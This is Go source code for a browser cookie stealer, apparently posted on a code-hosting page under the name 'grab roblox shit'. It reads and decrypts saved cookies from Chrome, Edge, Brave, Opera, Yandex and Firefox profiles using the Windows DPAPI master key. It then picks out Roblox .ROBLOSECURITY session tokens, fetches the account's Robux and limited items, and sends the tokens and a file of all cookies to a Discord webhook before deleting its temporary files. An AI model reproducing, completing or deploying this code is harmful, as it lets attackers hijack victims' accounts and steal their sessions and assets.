grab roblox shit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

329 lines
9.3KB

  1. package main
  2. import (
  3. "crypto/aes"
  4. "crypto/cipher"
  5. "database/sql"
  6. b64 "encoding/base64"
  7. "encoding/json"
  8. "fmt"
  9. "io/ioutil"
  10. "log"
  11. "math/rand"
  12. "os"
  13. "path/filepath"
  14. R "rblxsteal/roblox"
  15. "strings"
  16. "syscall"
  17. "unsafe"
  18. "github.com/DisgoOrg/disgohook"
  19. "github.com/DisgoOrg/disgohook/api"
  20. _ "github.com/mattn/go-sqlite3"
  21. )
  22. var webhook string = "webhook here"
  23. var webhook_id string = strings.Split(webhook, "/")[5] + "/" + strings.Split(webhook, "/")[6]
  24. type BrowserPath struct {
  25. name string
  26. processname string
  27. token string
  28. password string
  29. cookies string
  30. extensions string
  31. }
  32. type Output struct {
  33. host_key interface{}
  34. name interface{}
  35. enc interface{}
  36. }
  37. type PasswordOutput struct {
  38. url string
  39. username string
  40. password []byte
  41. }
  42. type MozCookies struct {
  43. host string
  44. name string
  45. value []byte
  46. }
  47. type Cookies struct {
  48. url string
  49. name string
  50. value string
  51. }
  52. type mystruct struct {
  53. Hello string `json:"hello,omitempty"`
  54. }
  55. type DATA_BLOB struct {
  56. cbData uint32
  57. pbData *byte
  58. }
  59. func NewBlob(d []byte) *DATA_BLOB {
  60. if len(d) == 0 {
  61. return &DATA_BLOB{}
  62. }
  63. return &DATA_BLOB{
  64. pbData: &d[0],
  65. cbData: uint32(len(d)),
  66. }
  67. }
  68. func unencrypt(buff []byte, master_key []byte) string {
  69. starts := string(buff[:3])
  70. if starts == "v10" || starts == "v11" {
  71. iv := buff[3:15]
  72. payload := buff[15:]
  73. block, err := aes.NewCipher(master_key)
  74. if err != nil {
  75. panic(err.Error())
  76. }
  77. aead, err := cipher.NewGCM(block)
  78. if err != nil {
  79. panic(err.Error())
  80. }
  81. decrypted_pass, err := aead.Open(nil, iv, payload, nil)
  82. if err != nil {
  83. panic(err.Error())
  84. }
  85. return string(decrypted_pass)
  86. }
  87. return ""
  88. }
  89. func (b *DATA_BLOB) ToByteArray() []byte {
  90. d := make([]byte, b.cbData)
  91. copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
  92. return d
  93. }
  94. func GetEncryptionKey() []byte {
  95. local_path := filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Local", "Google", "Chrome", "User Data", "Local State")
  96. local_state_data, err := ioutil.ReadFile(local_path)
  97. if err != nil {
  98. }
  99. data := make(map[string]interface{})
  100. err = json.Unmarshal([]byte(local_state_data), &data)
  101. if err != nil {
  102. }
  103. os_crypt := data["os_crypt"].(map[string]interface{})
  104. key := os_crypt["encrypted_key"]
  105. decoded_key, _ := b64.StdEncoding.DecodeString(key.(string))
  106. unprotected_key := decoded_key[5:]
  107. decreyptedkey, e := Decrypt(unprotected_key)
  108. if e != nil {
  109. }
  110. return decreyptedkey
  111. }
  112. func Decrypt(data []byte) ([]byte, error) {
  113. dllcrypt32 := syscall.NewLazyDLL("Crypt32.dll")
  114. procDecryptData := dllcrypt32.NewProc("CryptUnprotectData")
  115. dllkernel32 := syscall.NewLazyDLL("Kernel32.dll")
  116. procLocalFree := dllkernel32.NewProc("LocalFree")
  117. var outblob DATA_BLOB
  118. r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
  119. if r == 0 {
  120. return nil, err
  121. }
  122. defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
  123. return outblob.ToByteArray(), nil
  124. }
  125. const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  126. func checkPathExists(p string) bool {
  127. _, err := os.Stat(p)
  128. if err == nil {
  129. return true
  130. }
  131. if os.IsNotExist(err) {
  132. return false
  133. }
  134. return false
  135. }
  136. func RandStringBytes(n int) string {
  137. b := make([]byte, n)
  138. for i := range b {
  139. b[i] = letterBytes[rand.Intn(len(letterBytes))]
  140. }
  141. return string(b)
  142. }
  143. func getCookies(path string, cookiePath string, cookies []Cookies) []Cookies {
  144. if !checkPathExists(path) {
  145. return cookies
  146. }
  147. pathC := path + cookiePath + "/Cookies"
  148. if !checkPathExists(pathC) {
  149. return cookies
  150. }
  151. random_path := "kur" + RandStringBytes(8) + ".db"
  152. f, _ := ioutil.ReadFile(pathC)
  153. os.Create(random_path)
  154. os.WriteFile(random_path, f, 0644)
  155. db, err := sql.Open("sqlite3", random_path)
  156. if err != nil {
  157. log.Fatal(err)
  158. }
  159. defer db.Close()
  160. row, err := db.Query("SELECT host_key, name, encrypted_value FROM cookies")
  161. os.Remove(random_path)
  162. if err != nil {
  163. log.Fatal(err)
  164. }
  165. pathKey := path + "/Local State"
  166. local_state_data, err := ioutil.ReadFile(pathKey)
  167. if err != nil {
  168. log.Fatal(err)
  169. }
  170. data := make(map[string]interface{})
  171. err = json.Unmarshal([]byte(local_state_data), &data)
  172. if err != nil {
  173. log.Fatal(err)
  174. }
  175. os_crypt := data["os_crypt"].(map[string]interface{})
  176. key := os_crypt["encrypted_key"]
  177. decoded_key, _ := b64.StdEncoding.DecodeString(key.(string))
  178. unprotected_key := decoded_key[5:]
  179. decreyptedkey, e := Decrypt(unprotected_key)
  180. if e != nil {
  181. os.Exit(0)
  182. }
  183. defer row.Close()
  184. for row.Next() {
  185. var rowout Output
  186. row.Scan(&rowout.host_key, &rowout.name, &rowout.enc)
  187. cookie := unencrypt(rowout.enc.([]byte), decreyptedkey)
  188. tmpCookie := Cookies{rowout.host_key.(string), rowout.name.(string), cookie}
  189. cookies = append(cookies, tmpCookie)
  190. }
  191. return cookies
  192. }
  193. func firefox(cookies []Cookies) []Cookies {
  194. path := os.Getenv("APPDATA") + `\Mozilla\Firefox\Profiles`
  195. if !checkPathExists(path) {
  196. return cookies
  197. }
  198. folders, err := os.ReadDir(path)
  199. firefox_cookies := []string{}
  200. if err != nil {
  201. log.Fatal(err)
  202. }
  203. for _, dir := range folders {
  204. subdir_content, err := os.ReadDir(path + "\\" + dir.Name())
  205. if err != nil {
  206. log.Fatal(err)
  207. }
  208. for _, file := range subdir_content {
  209. if file.Name() == "cookies.sqlite" {
  210. firefox_cookies = append(firefox_cookies, path+"\\"+dir.Name()+"\\cookies.sqlite")
  211. }
  212. }
  213. }
  214. for _, i := range firefox_cookies {
  215. tmpfp := "kur" + RandStringBytes(8) + ".db"
  216. f, _ := ioutil.ReadFile(i)
  217. os.Create(tmpfp)
  218. os.WriteFile(tmpfp, f, 0644)
  219. db, err := sql.Open("sqlite3", tmpfp)
  220. defer db.Close()
  221. defer os.Remove(tmpfp)
  222. if err != nil {
  223. os.Remove(tmpfp)
  224. log.Fatal(err)
  225. }
  226. row, err := db.Query("SELECT host, name, value FROM moz_cookies")
  227. for row.Next() {
  228. var rowout MozCookies
  229. row.Scan(&rowout.host, &rowout.name, &rowout.value)
  230. tmpCookie := Cookies{rowout.host, rowout.name, string(rowout.value)}
  231. cookies = append(cookies, tmpCookie)
  232. }
  233. }
  234. return cookies
  235. }
  236. func createCookiesFile(cookies []Cookies) string {
  237. outStr := ""
  238. for _, i := range cookies {
  239. outStr += fmt.Sprintf("URL: %s | NAME: %s | VALUE: %s\n", i.url, i.name, i.value)
  240. }
  241. return outStr
  242. }
  243. func createRobloxDiscordWh(data R.UserInfo) {
  244. webhook, _ := disgohook.NewWebhookClientByToken(nil, nil, webhook_id)
  245. tosend := fmt.Sprintf("`User ID: `: `%d`\n`User Name`: `%s`\n`Robux`:`%d`\n`BuildersClub`:`%t`\n`Premium`:`%t`\n__Limiteds__ \n```", data.UserID, data.UserName, data.Robux, data.BuildersClub, data.IsPremium)
  246. for _, asset := range data.Limiteds {
  247. tosend += fmt.Sprintf("Name: %s | RAP: %g\n", asset.Name, asset.RecentAveragePrice)
  248. }
  249. tosend += "```"
  250. tosend += fmt.Sprintf("\n`Token`: `%s`", data.Token)
  251. webhook.SendContent(tosend)
  252. }
  253. func main() {
  254. allCookies := []Cookies{}
  255. roaming := os.Getenv("APPDATA")
  256. local := os.Getenv("LOCALAPPDATA")
  257. operaGx := BrowserPath{roaming + "/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  258. opera := BrowserPath{roaming + "Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  259. operaNeon := BrowserPath{roaming + "/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  260. chrome := BrowserPath{local + "/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  261. chromeSxs := BrowserPath{local + "/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  262. brave := BrowserPath{local + "/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  263. yandex := BrowserPath{local + "/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  264. edge := BrowserPath{local + "/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn"}
  265. browserPaths := []BrowserPath{operaGx, opera, operaNeon, chrome, chromeSxs, brave, yandex, edge}
  266. for _, i := range browserPaths {
  267. allCookies = getCookies(i.name, i.cookies, allCookies)
  268. }
  269. allCookies = firefox(allCookies)
  270. rblxCookies := []string{}
  271. for _, i := range allCookies {
  272. if i.name == ".ROBLOSECURITY" {
  273. rblxCookies = append(rblxCookies, i.value)
  274. }
  275. }
  276. if len(rblxCookies) != 0 {
  277. rblxstuff := R.GetRobloxStuff(rblxCookies)
  278. for _, i := range rblxstuff {
  279. createRobloxDiscordWh(i)
  280. }
  281. }
  282. towrite := createCookiesFile(allCookies)
  283. os.Create("COOKIES.txt")
  284. os.WriteFile("COOKIES.txt", []byte(towrite), 0644)
  285. webhook, _ := disgohook.NewWebhookClientByToken(nil, nil, webhook_id)
  286. reader, _ := os.Open("COOKIES.txt")
  287. webhook.SendMessage(api.NewWebhookMessageCreateBuilder().SetContent("All Cookies logged").AddFile("COOKIES.txt", reader).Build())
  288. os.Remove("COOKIES.txt")
  289. here, _ := os.ReadDir("./")
  290. for _, i := range here {
  291. if strings.HasSuffix(i.Name(), ".db") {
  292. os.Remove(i.Name())
  293. }
  294. }
  295. }